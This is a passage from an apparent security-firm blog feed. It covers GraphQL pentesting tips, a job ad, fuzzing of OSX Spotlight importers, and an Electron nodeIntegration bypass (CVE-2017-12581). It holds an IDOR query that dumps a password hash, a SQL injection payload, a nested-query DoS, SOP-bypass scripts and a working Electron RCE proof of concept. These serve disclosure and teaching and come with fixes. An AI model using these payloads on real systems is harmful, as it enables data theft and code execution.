</span><span class="nl">"user"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1"</span><span class="p">,</span><span class="w">
</span><span class="nl">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"paolo@doyensec.com"</span><span class="p">,</span><span class="w">
</span><span class="nl">"firstName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Paolo"</span><span class="p">,</span><span class="w">
</span><span class="nl">"lastName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Stagno"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<h3 id="security-testing-tips">Security Testing Tips</h3>
<p>Since <a href="https://portswigger.net/">Burp Suite</a> does not understand GraphQL syntax well, I recommend using the <a href="https://github.com/andev-software/graphql-ide">graphql-ide</a>, an Electron based app that allows you to edit and send requests to a GraphQL endpoint; I also wrote a small python script <a href="https://github.com/doyensec/graph-ql/">GraphQL_Introspection.py</a> that enumerates a GraphQL endpoint (with introspection) in order to pull out documentation. The script is useful for examining the GraphQL schema looking for information leakage, hidden data and fields that are not intended to be accessible.</p>
<p>The tool will generate a HTML report similar to the following:</p>
<p><img src="../../../public/images/GraphQL_Introspection.png" alt="Python Script pulling data from a GraphQL endpoint" align="center" /></p>
<p><a href="https://graphql.org/learn/introspection/">Introspection</a> is used to ask for a GraphQL schema for information about what queries, types and so on it supports.</p>
<p>As a pentester, I would recommend to look for requests issued to <strong>“/graphql”</strong> or <strong>“/graphql.php”</strong> since those are usual GraphQL endpoint names; you should also search for <strong>“/graphiql”</strong>, <strong>”graphql/console/”</strong>, online GraphQL IDEs to interact with the backend, and <strong>“/graphql.php?debug=1”</strong> (debugging mode with additional error reporting) since they may be left open by developers.</p>
<p>When testing an application, verify whether requests can be issued without the usual authorization token header:</p>
<p><img src="../../../public/images/GraphQL_AuthToken.png" alt="GraphQL Bearer Authorization Header Example" align="center" /></p>
<p>Since the GraphQL framework does not provide any means for securing your data, developers are in charge of implementing access control as stated in the documentation:</p>
<blockquote>
<p>“However, for a production codebase, delegate authorization logic to the business logic layer”.</p>
</blockquote>
<p>Things may go wrong, thus it is important to verify whether a user without proper authentication and/or authorization can request the whole underlying database from the server.</p>
<p>When building an application with GraphQL, developers have to map data to queries in their chosen database technology. This is where security vulnerabilities can be easily introduced, leading to <strong>Broken Access Controls</strong>, <strong>Insecure Direct Object References</strong> and even <strong>SQL/NoSQL Injections</strong>.</p>
<p>As an example of a broken implementation, the following request/response demonstrates that we can fetch data for any users of the platform (cycling through the ID parameter), while simultaneously dumping password hashes:</p>
<p><em>Query</em></p>
<div class="language-graphql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">query</span><span class="p">{</span><span class="w">
</span><span class="n">user</span><span class="p">(</span><span class="n">id</span><span class="p">:</span><span class="w"> </span><span class="mi">165274</span><span class="p">){</span><span class="w">
</span><span class="n">id</span><span class="w">
</span><span class="n">email</span><span class="w">
</span><span class="n">firstName</span><span class="w">
</span><span class="n">lastName</span><span class="w">
</span><span class="n">password</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p><em>Response</em></p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"user"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"165274"</span><span class="p">,</span><span class="w">
</span><span class="nl">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"johndoe@mail.com"</span><span class="p">,</span><span class="w">
</span><span class="nl">"firstName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"John"</span><span class="p">,</span><span class="w">
</span><span class="nl">"lastName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Doe"</span><span class="w">
</span><span class="nl">"password"</span><span class="p">:</span><span class="w"> </span><span class="s2">"5F4DCC3B5AA765D61D8327DEB882CF99"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Another thing that you will have to check is related to information disclosure when trying to perform illegal queries:</p>
<p><em>Information Disclosure</em></p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"errors"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"message"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Invalid ID."</span><span class="p">,</span><span class="w">
</span><span class="nl">"locations"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"line"</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w">
</span><span class="nl">"column"</span><span class="p">:</span><span class="w"> </span><span class="mi">12</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="s2">"Stack"</span><span class="err">:</span><span class="w"> </span><span class="s2">"Error: invalid ID</span><span class="se">\n</span><span class="s2"> at (/var/www/examples/04-bank/graphql.php)</span><span class="se">\n</span><span class="s2">"</span><span class="w">
</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Even though GraphQL is <strong>strongly typed</strong>, SQL/NoSQL Injections are still possible since <strong>GraphQL is just a layer between client apps and the database</strong>. The problem may reside in the layer developed to fetch variables from GraphQL queries in order to interrogate the database; variables that are not properly sanitized lead to old simple SQL Injection.
In case of Mongodb, NoSQL injection may not be that simple since we cannot “juggle” types (e.g. turning a string into an array. See <a href="http://php.net/manual/en/mongo.security.php">PHP MongoDB Injection</a>).</p>
<p><em>GraphQL SQL Injection</em></p>
<div class="language-graphql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">mutation</span><span class="w"> </span><span class="n">search</span><span class="p">(</span><span class="nv">$filters</span><span class="w"> </span><span class="n">Filters</span><span class="p">!){</span><span class="w">
</span><span class="n">authors</span><span class="p">(</span><span class="n">filter</span><span class="p">:</span><span class="w"> </span><span class="nv">$filters</span><span class="p">)</span><span class="w">
</span><span class="n">viewer</span><span class="p">{</span><span class="w">
</span><span class="n">id</span><span class="w">
</span><span class="n">email</span><span class="w">
</span><span class="n">firstName</span><span class="w">
</span><span class="n">lastName</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="err">"</span><span class="n">filters</span><span class="err">":</span><span class="p">{</span><span class="w">
</span><span class="err">"</span><span class="n">username</span><span class="err">":"</span><span class="n">paolo</span><span class="err">'</span><span class="w"> </span><span class="n">or</span><span class="w"> </span><span class="err">1=1--"</span><span class="w">
</span><span class="err">"</span><span class="n">minstories</span><span class="err">":0</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p><em>Beware of nested queries!</em> They can allow a malicious client to perform a DoS (Denial of Service) attack via overly complex queries that will consume all the resources of the server:</p>
<p><em>Nested Query</em></p>
<div class="language-graphql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">query</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="n">stories</span><span class="p">{</span><span class="w">
</span><span class="n">title</span><span class="w">
</span><span class="n">body</span><span class="w">
</span><span class="n">comments</span><span class="p">{</span><span class="w">
</span><span class="n">comment</span><span class="w">
</span><span class="n">author</span><span class="p">{</span><span class="w">
</span><span class="n">comments</span><span class="p">{</span><span class="w">
</span><span class="n">author</span><span class="p">{</span><span class="w">
</span><span class="n">comments</span><span class="p">{</span><span class="w">
</span><span class="n">comment</span><span class="w">
</span><span class="n">author</span><span class="p">{</span><span class="w">
</span><span class="n">comments</span><span class="p">{</span><span class="w">
</span><span class="n">comment</span><span class="w">
</span><span class="n">author</span><span class="p">{</span><span class="w">
</span><span class="n">comments</span><span class="p">{</span><span class="w">
</span><span class="n">comment</span><span class="w">
</span><span class="n">author</span><span class="p">{</span><span class="w">
</span><span class="n">name</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>An easy remediation against DoS could be setting a timeout, a maximum depth or a query complexity threshold value.</p>
<p>Keep in mind that in the <a href="https://github.com/webonyx/graphql-php">PHP GraphQL implementation</a>:</p>
<ul>
<li>
<p>Complexity analysis is disabled by default</p>
</li>
<li>
<p>Limiting Query Depth is disabled by default</p>
</li>
<li>
<p>Introspection is enabled by default. It means that anybody can get a full description of your schema by sending a special query containing meta fields <strong>type</strong> and <strong>schema</strong></p>
</li>
</ul>
<h3 id="outro">Outro</h3>
<p><strong>GraphQL</strong> is a new interesting technology, which can be used to build secure applications. Since developers are in charge of implementing access control, applications are prone to classical web application vulnerabilites like <strong>Broken Access Controls</strong>, <strong>Insecure Direct Object References</strong>, <strong>Cross Site Scripting (XSS)</strong> and <strong>Classic Injection Bugs</strong>. As any technology, GraphQL-based applications may be prone to development implementation errors like this real-life <a href="https://salt.agency/blog/facebook-security-loophole/">example</a>:</p>
<blockquote>
<p>“By using a script, an entire country’s (I tested with the US, the UK and Canada) possible number combinations can be run through these URLs, and if a number is associated with a Facebook account, it can then be associated with a name and further details (images, and so on).”</p>
</blockquote>
<p>@voidsec</p>
<h5 id="resources">Resources:</h5>
<ul>
<li><a href="https://en.wikipedia.org/wiki/GraphQL">https://en.wikipedia.org/wiki/GraphQL</a></li>
<li><a href="https://dev-blog.apollodata.com/the-concepts-of-graphql-bc68bd819be3">https://dev-blog.apollodata.com/the-concepts-of-graphql-bc68bd819be3</a></li>
<li><a href="https://graphql.org/learn/">https://graphql.org/learn/</a></li>
<li><a href="https://www.howtographql.com/">https://www.howtographql.com/</a></li>
<li><a href="https://www.hackerone.com/blog/the-30-thousand-dollar-gem-part-1">https://www.hackerone.com/blog/the-30-thousand-dollar-gem-part-1</a></li>
<li><a href="https://hackerone.com/reports/291531">https://hackerone.com/reports/291531</a></li>
<li><a href="https://labs.detectify.com/2018/03/14/graphql-abuse/">https://labs.detectify.com/2018/03/14/graphql-abuse/</a></li>
<li><a href="https://medium.com/the-graphqlhub/graphql-and-authentication-b73aed34bbeb">https://medium.com/the-graphqlhub/graphql-and-authentication-b73aed34bbeb</a></li>
<li><a href="http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/">http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/</a></li>
<li><a href="https://webonyx.github.io/graphql-php/">https://webonyx.github.io/graphql-php/</a></li>
</ul>
We're hiring - Join Doyensec!2017-11-27T00:00:00+01:00https://blog.doyensec.com/2017/11/27/we-are-hiring<p>At <a href="https://doyensec.com/">Doyensec</a>, we believe that quality is the natural product of passion and care. We love what we do and we routinely take on difficult engineering challenges to help our customers build with security.</p>
<p>We are a small highly focused team. We concentrate on application security and do fewer things better. We don’t care about your education, background and certifications. If you are <em>really</em> good and passionate at building and breaking complex software, you’re the right candidate.</p>
<h3 id="open-positions">Open Positions</h3>
<h4 id="-full-stack-security-automation-engineer-six-months-collaboration-remote-work-">:: Full-stack Security Automation Engineer (Six Months Collaboration, Remote Work) ::</h4>
<p>We are looking for a full-stack senior software engineer that can help us build security automation tools. If you’ve ever built a fuzzer, played with static analysis and enhanced a web scanner engine, you probably have the right skillset for the job.</p>
<p>We offer a well-paid six-months collaboration, combined with an additional bonus upon successful completion of the project.</p>
<p><u>Responsibilities:</u></p>
<ul>
<li>Full-stack development (front-end, back-end components) of web security testing tools</li>
<li>Solve technical challenges at the edge of web security R&D, together with Doyensec’s founders</li>
</ul>
<p><u>Requirements:</u></p>
<ul>
<li>Experience developing multi-tiered software applications or products. We generally use Node.js and Java, and require proficiency in those languages</li>
<li>Ability to work with standard dev tools and techniques (IDE, git, …)</li>
<li>You’re passionate about building great software and can have fun while doing it</li>
<li>Interested in web security, with good understanding of common software vulnerabilities</li>
<li>You’re self-driven and can focus on a project to make it happen</li>
<li>Eager to learn, adapt and perfect your work</li>
</ul>
<p>Contact us at <a href="mailto:info@doyensec.com">info@doyensec.com</a></p>
<h4 id="-application-security-engineer-full-time-remote-work---europe-">:: Application Security Engineer (Full-time, Remote Work - Europe) ::</h4>
<p>We are looking for an experienced security engineer to join our consulting team. We perform graybox security testing on complex web and mobile applications. We need someone who can hit the ground running. If you’re good at <em>“crawling around in the ventilation ducts of the world’s most popular and important applications”</em>, you probably have the right skillset for the job.</p>
<p>We offer a competitive salary in a supportive and dynamic environment that rewards hard work and talent. We are dedicated to providing research-driven application security and therefore invest 25% of <em>your</em> time exclusively to research where we build security testing tools, discover new attack techniques, and develop countermeasures.</p>
<p><u>Responsibilities:</u></p>
<ul>
<li>Security testing of web, mobile (iOS, Android) applications</li>
<li>Vulnerability research activities, coordinated and executed with Doyensec’s founders</li>
<li>Partner with customers to ensure project’s objectives are achieved </li>
</ul>
<p><u>Requirements:</u></p>
<ul>
<li>Ability to discover, document and fix security bugs</li>
<li>You’re passionate about understanding complex systems and can have fun while doing it</li>
<li>Top-notch in web security. Show us public research, code, advisories, etc.</li>
<li>Eager to learn, adapt, and perfect your work</li>
</ul>
<p>Contact us at <a href="mailto:info@doyensec.com">info@doyensec.com</a></p>
Staring into the Spotlight2017-11-15T00:00:00+01:00https://blog.doyensec.com/2017/11/15/osx-spotlight<p>Spotlight is the all pervasive seeing eye of the OSX userland. It drinks from a spout of file events sprayed out of the kernel and neatly indexes such things for later use. It is an amalgamation of binaries and libraries, all neatly fitted together just to give a user oversight of their box. It presents interesting attack surface and this blog post is an explanation of how some of it works.</p>
<p>One day, we found some interesting looking crashes recorded in <code class="language-plaintext highlighter-rouge">/Users/<name>/Library/Logs/DiagnosticReports</code></p>
<p>Yet the crashes weren’t from the target. In OSX, whenever a file is created, a filesystem event is generated and sent down from the kernel. Spotlight listens for this event and others to immediately parse the created file for metadata. While fuzzing a native file parser these Spotlight crashes began to appear from mdworker processes. Spotlight was attempting to index each of the mutated input samples, intending to include them in search results later.</p>
<h3 id="fsevents">fsevents</h3>
<p>The Spotlight system is overseen by mds. It opens and reads from <code class="language-plaintext highlighter-rouge">/dev/fsevents</code>, which streams down file system event information from the kernel. Instead of dumping the events to disk, like fseventsd, it dumps the events into worker processes to be parsed on behalf of Spotlight. Mds is responsible for delegating work and managing mdworker processes with whom it communicates through mach messaging. It creates, monitors, and kills mdworkers based on some light rules. The kernel does not block and the volume of events streaming through the fsevents device can be quite a lot. Mds will spawn more mdworker processes when handling a higher event magnitude but there is no guarantee it can see and capture every single event.</p>
<p>The kernel filters which root level processes can read from this device.
<img src="../../../public/images/sl-fsevents_process_names.png" alt="fsevents filter" align="center" /></p>
<p>Each of the mdworker processes get spawned, parse some files, write the meta info, and die. Mdworker shares a lot of code with mdimport, its command line equivalent. The mdimport binary is used to debug and test Spotlight importers and therefore makes a great target for auditing and fuzzing. Much of what we talk about in regards to mdimport also applies to mdworker.</p>
<h3 id="importers">Importers</h3>
<p>You can see what mdworkers are up to with the following: <code class="language-plaintext highlighter-rouge">sudo fs_usage -w -f filesys mdworker</code></p>
<p>Importers are found in <code class="language-plaintext highlighter-rouge">/Library/Spotlight</code>, <code class="language-plaintext highlighter-rouge">/System/Library/Spotlight</code>, or in an application’s bundle within “/Contents/Library/Spotlight”. If the latter is chosen, the app typically runs a post install script with <code class="language-plaintext highlighter-rouge">mdimport -r <importer></code> and/or lsregister. The following command shows the list of importers present on my laptop. It shows some third party apps have installed their own importers.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ mdimport -L
2017-07-30 00:36:15.518 mdimport[40541:1884333] Paths: id(501) (
"/Library/Spotlight/iBooksAuthor.mdimporter",
"/Library/Spotlight/iWork.mdimporter",
"/Library/Spotlight/Microsoft Office.mdimporter",
"/System/Library/Spotlight/Application.mdimporter",
...
"/System/Library/Spotlight/SystemPrefs.mdimporter",
"/System/Library/Spotlight/vCard.mdimporter",
"/Applications/Xcode.app/Contents/Applications/Application Loader.app/Contents/Library/Spotlight/MZSpotlight.mdimporter",
"/Applications/LibreOffice.app/Contents/Library/Spotlight/OOoSpotlightImporter.mdimporter",
"/Applications/OmniGraffle.app/Contents/Library/Spotlight/OmniGraffle.mdimporter",
"/Applications/GarageBand.app/Contents/Library/Spotlight/LogicX_MDImport.mdimporter",
"/Applications/Xcode.app/Contents/Library/Spotlight/uuid.mdimporter"
)
</code></pre></div></div>
<p>These .mdimporter files are actually just packages holding a binary. These binaries are what we are attacking.</p>
<p>Using mdimport is simple - <code class="language-plaintext highlighter-rouge">mdimport <file></code>. Spotlight will only index metadata for filetypes having an associated importer. File types are identified through magic. For example, mdimport reads from the MAGIC environment variable or uses the “/usr/share/file/magic” directory which contains both the compiled .mgc file and the actual magic patterns. The format of magic files is discussed at <a href="https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man5/magic.5.html">the official Apple developer documentation</a>.</p>
<h3 id="crash-file">Crash File</h3>
<p><img src="../../../public/images/sl-Crash_Log.png" alt="crash logging" align="center" /></p>
<p>One thing to notice is that the crash log will contain some helpful information about the cause. The following message gets logged by both mdworker and mdimport, which share much of the same code:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Application Specific Information:
import fstype:hfs fsflag:480D000 flags:40000007E diag:0 isXCode:0 uti:com.apple.truetype-datafork-suitcase-font plugin:/Library/Spotlight/Font.mdimporter - find suspect file using: sudo mdutil -t 2682437
</code></pre></div></div>
<p>The 2682437 is the iNode reference number for the file in question on disk. The -t argument to mdutil will ask it to lookup the file based on volume ID and iNode and spit out the string. It performs an open and fcntl on the pseudo directory <code class="language-plaintext highlighter-rouge">/.vol/<Volume ID>/<File iNode></code>. You can see this info with the stat syscall on a file.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ stat /etc
16777220 418395 lrwxr-xr-x 1 root wheel 0 11 "Dec 10 05:13:41 2016" "Dec 10 05:13:41 2016" "Dec 10 05:15:47 2016" "Dec 10 05:13:41 2016" 4096 8 0x88000 /etc
$ ls /.vol/16777220/418395
afpovertcp.cfg fstab.hd networks protocols
aliases ftpd.conf newsyslog.conf racoon
aliases.db ftpd.conf.default newsyslog.d rc.common
</code></pre></div></div>
<p>The UTI registered by the importer is also shown “com.apple.truetype-datafork-suitcase-font”. In this case, the crash is caused by a malformed Datafork TrueType suitcase (.dfont) file.</p>
<p>When we find a bug, we can study it under lldb. Launch mdimport under the debugger with the crash file as an argument. In this particular bug it breaks with an exception in the <code class="language-plaintext highlighter-rouge">/System/Library/Spotlight/Font.mdimporter</code> importer.</p>
<p><img src="../../../public/images/sl-crash_in_lldb.png" alt="crash logging" align="center" /></p>
<p>The screenshot below shows the problem procedure with the crashing instruction highlighted for this particular bug.</p>
<p><img src="../../../public/images/sl-crashing_instruction.png" align="center" /></p>
<p>The rsi register points into the memory mapped font file. A value is read out and stored in rax which is then used as an offset from rcx which points to the text segment of the executable in memory. A lookup is done on a hardcoded table and parsing proceeds from there. The integer read out of the font file is never validated.</p>
<p>When writing or reversing a Spotlight importer, the main symbol to first look at will be GetMetadataForFile or GetMetadataForURL. This function receives a path to parse and is expected to return the metadata as a CFDictionary.</p>
<p><img src="../../../public/images/sl-lldb_backtrace.png" align="center" /></p>
<p>We can see, from the stacktrace, how and where mdimport jumps into the GetMetadataForFile function in the Font importer. Fuzzing mdimport is straightforward, crashes and signals are easily caught.</p>
<p>The variety of importers present on OSX are sometimes patched alongside the framework libraries, as code is shared. However, a lot of code is unique to these binaries and represents a nice attack surface. The Spotlight system is extensive, including its own query language and makes a great target where more research is needed.</p>
<p>When fuzzing in general on OSX, disable Spotlight oversight of the folder where you generate and remove your input samples. The folder can be added in System Preferences->Spotlight->Privacy. You can’t fuzz mdimport from this folder, instead disable Spotlight with “mdutil -i off” and run your fuzzer from a different folder.</p>
<p>@day6reak</p>
Modern Alchemy: Turning XSS into RCE2017-08-03T00:00:00+02:00https://blog.doyensec.com/2017/08/03/electron-framework-security<h3 id="tldr">TL;DR</h3>
<p>At the recent <a href="https://www.blackhat.com/us-17/briefings.html#electronegativity-a-study-of-electron-security">Black Hat Briefings 2017</a>, Doyensec’s co-founder <a href="https://twitter.com/lucacarettoni">Luca Carettoni</a> presented a new research on <a href="https://electron.atom.io">Electron</a> security.
After a quick overview of Electron’s security model, we disclosed design weaknesses and implementation bugs that can be leveraged to compromise <em>any</em> Electron-based application. In particular, we discussed a bypass that would allow reliable Remote Code Execution (RCE) when rendering untrusted content (for example via Cross-Site Scripting) even with framework-level protections in place.</p>
<p>In this blog post, we would like to provide insight into the bug (CVE-2017-12581) and remediations.</p>
<h3 id="whats-electron">What’s Electron?</h3>
<p>While you may not recognize the name, it is likely that you’re already using Electron since it’s running on millions of computers. <a href="https://electron.atom.io/apps/">Slack, Atom, Visual Studio Code, WordPress Desktop, Github Desktop, Basecamp3, Mattermost</a> are just few examples of applications built using this framework. Any time that a traditional web application is ported to desktop, it is likely that the developers used Electron.</p>
<p><img src="../../../public/images/electron1.png" width="550" alt="Electron Motto" align="center" /></p>
<h3 id="understanding-the-nodeintegration-flag">Understanding the <em>nodeIntegration</em> flag</h3>
<p>While Electron is based on Chromium’s Content module, it is not a browser. Since it facilitates the construction of complex desktop applications, Electron gives the developer a lot of power. In fact, thanks to the integration with Node.js, JavaScript can access operating system primitives to take full advantage of native desktop mechanisms.</p>
<p><a href="https://electron.atom.io/docs/tutorial/security/">It is well understood</a> that rendering untrusted remote/local content with Node integration enabled is dangerous. For this reason, Electron provides two mechanisms to “sandbox” untrusted resources:</p>
<p><em>BrowserWindow</em></p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">mainWindow</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BrowserWindow</span><span class="p">({</span>
<span class="dl">"</span><span class="s2">webPreferences</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">nodeIntegration</span><span class="dl">"</span> <span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">nodeIntegrationInWorker</span><span class="dl">"</span> <span class="p">:</span> <span class="kc">false</span>
<span class="p">}</span>
<span class="p">});</span>
<span class="nx">mainWindow</span><span class="p">.</span><span class="nx">loadURL</span><span class="p">(</span><span class="dl">'</span><span class="s1">https://www.doyensec.com/</span><span class="dl">'</span><span class="p">);</span>
</code></pre></div></div>
<p><em>WebView</em></p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><webview</span> <span class="na">src=</span><span class="s">"https://www.doyensec.com/"</span><span class="nt">></webview></span>
</code></pre></div></div>
<p>In above examples, the <strong>nodeIntegration</strong> flag is set to false. JavaScript running in the page won’t have access to global references despite having a Node.js engine running in the renderer process.</p>
<h3 id="hunting-for-nodeintegration-bypasses">Hunting for <em>nodeIntegration</em> bypasses</h3>
<p>It should now be clear why <em>nodeIntegration</em> is a critical security-relevant setting for the framework. A vulnerability in this mechanism could lead to full host compromise from simply rendering untrusted web pages. As modern alchemists, we use this type of flaws to turn traditional XSS into RCE. Since all Electron applications are bundled with the framework code, it is also complicated to fix these issues across the entire ecosystem.</p>
<p>During our research, we have extensively analyzed all project code changes to uncover previously discovered bypasses (we counted 6 before v1.6.1) with the goal of studying Electron’s design and weaknesses. Armed with that knowledge, we went for a hunt.</p>
<p>By studying the <a href="https://electron.atom.io/docs/all/">official documentation</a>, we quickly identified a significant deviation from standard browsers caused by Electron’s “glorified” JavaScript APIs.</p>
<p>When a new window is created, Electron returns an instance of <a href="https://electron.atom.io/docs/all/#class-browserwindowproxy">BrowserWindowProxy</a>. This class can be used to manipulate the child browser window, thus subverting the Same-Origin Policy (SOP).</p>
<p><em>SOP Bypass #1</em></p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><script></span>
<span class="kd">const</span> <span class="nx">win</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">https://www.doyensec.com</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">win</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">javascript:alert(document.domain)</span><span class="dl">"</span><span class="p">;</span>
<span class="nt"></script></span>
</code></pre></div></div>
<p><em>SOP Bypass #2</em></p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><script></span>
<span class="kd">const</span> <span class="nx">win</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">https://www.doyensec.com</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">win</span><span class="p">.</span><span class="nb">eval</span><span class="p">(</span><span class="dl">"</span><span class="s2">alert(document.domain)</span><span class="dl">"</span><span class="p">);</span>
<span class="nt"></script></span>
</code></pre></div></div>
<p>The <em>eval</em> mechanism used by the SOP Bypass #2 can be explained with the following diagram:</p>
<p><img src="../../../public/images/electron2.png" width="550" alt="BrowserWindowProxy's Eval" align="center" /></p>
<p>Additional source code review revealed the presence of privileged URLs (similar to browsers’ privileged zones). Combining the SOP-bypass by design with a specific privileged url defined in <em>lib/renderer/init.js</em>, we realized that we could override the nodeIntegration setting.</p>
<p><img src="../../../public/images/electron3.png" alt="Chrome DevTools in Electron, prior to 1.6.8" title="Chrome DevTools in Electron, prior to 1.6.8" /></p>
<p>A simple, yet reliable, proof-of-concept of the nodeIntegration bypass affecting all Electron releases prior to 1.6.7 is hereby included:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><!DOCTYPE html>
<html>
<head>
<title>nodeIntegration bypass (SOP2RCE)</title>
</head>
<body>
<script>
document.write("Current location:" + window.location.href + "<br>");
const win = window.open("chrome-devtools://devtools/bundled/inspector.html");
win.eval("const {shell} = require('electron');
shell.openExternal('file:///Applications/Calculator.app');");
</script>
</body>
</html>
</code></pre></div></div>
<p>On May 10, 2017 we reported this issue to the maintainers via email. In a matter of hours, we received a reply that they were already working on a fix since the privileged <em>chrome-devtools://</em> was discovered during an internal security activity just few days before our report. In fact, while the latest release on the official website at that time was 1.6.7, the <a href="https://github.com/electron/electron/commit/05b6d91bf4c1e0ee65eeef70cd5d1bd1df125644">git commit</a> that fixes the privileged url is dated April 24, 2017.</p>
<p>The issue was fixed in 1.6.8 (officially released around the 15th of May). All previous versions of Electron and consequently all Electron-based apps were affected. Mitre assigned CVE-2017-12581 for this issue.</p>
<h3 id="mitigating-nodeintegration-bypass-vulnerabilities">Mitigating nodeIntegration bypass vulnerabilities</h3>
<ul>
<li>
<p><strong>Keep your application in sync with the latest Electron framework release.</strong> When releasing your product, you’re also shipping a bundle composed of Electron, Chromium shared library and Node. Vulnerabilities affecting these components may impact the security of your application. By updating Electron to the latest version, you ensure that critical vulnerabilities (such as nodeIntegration bypasses) are already patched and cannot be exploited to abuse your application.</p>
</li>
<li>
<p><strong>Adopt secure coding practices.</strong> The first line of defense for your application is your own code. Common web vulnerabilities, such as Cross-Site Scripting (XSS), have a higher security impact on Electron hence it is highly recommend to adopt secure software development best practices and perform periodic security testing.</p>
</li>
<li>
<p><strong>Know your framework (and its limitations).</strong> Certain principles and security mechanisms implemented by modern browsers are not enforced in Electron (e.g. SOP enforcement). Adopt defense in depth mechanisms to mitigate those deficiencies. For more details, please refer to our <a href="https://doyensec.com/resources/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security.pdf">Electronegativity, A study of Electron Security</a> presentation and <a href="https://doyensec.com/resources/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security-wp.pdf">Electron Security Checklist</a> white-paper.</p>
</li>
<li>
<p><strong>Use the recent “sandbox” experimental feature.</strong> Even with nodeIntegration disabled, the current implementation of Electron does not completely mitigate all risks introduced by loading untrusted resources. As such, it is recommended to enable <a href="https://electron.atom.io/docs/api/sandbox-option/">sandboxing</a> which leverages the native Chromium sandbox. A sandboxed renderer does not have a Node.js environment running (with the exception of preload scripts) and the renderers can only make changes to the system by delegating tasks to the main process via IPC. While still not perfect at the time of writing (there are known security issues, sandbox is not supported for the <code class="language-plaintext highlighter-rouge"><webview></code> tag, etc.) this option should be enabled to provide additional isolation.</p>
</li>
</ul>
Developing Burp Suite Extensions training2017-03-02T00:00:00+01:00https://blog.doyensec.com/2017/03/02/training-burp<div class="message">
We couldn't be more excited to present our brand-new class on web security and security automation. This blog post provides a quick overview of the 8-hours workshop.
</div>
<h3 id="title">Title</h3>
<p>Developing Burp Suite Extensions - From manual testing to security automation.</p>
<h3 id="overview">Overview</h3>
<p>Ensuring the security of web applications in continuous delivery environments is an open challenge for many organizations. Traditional application security practices slow development and, in many cases, don’t address security at all. Instead, a new approach based on security automation and tactical security testing is needed to ensure important components are being tested before going live. Security professionals must master their tools to improve the efficiency of manual security testing as well as to deploy custom security automation solutions.</p>
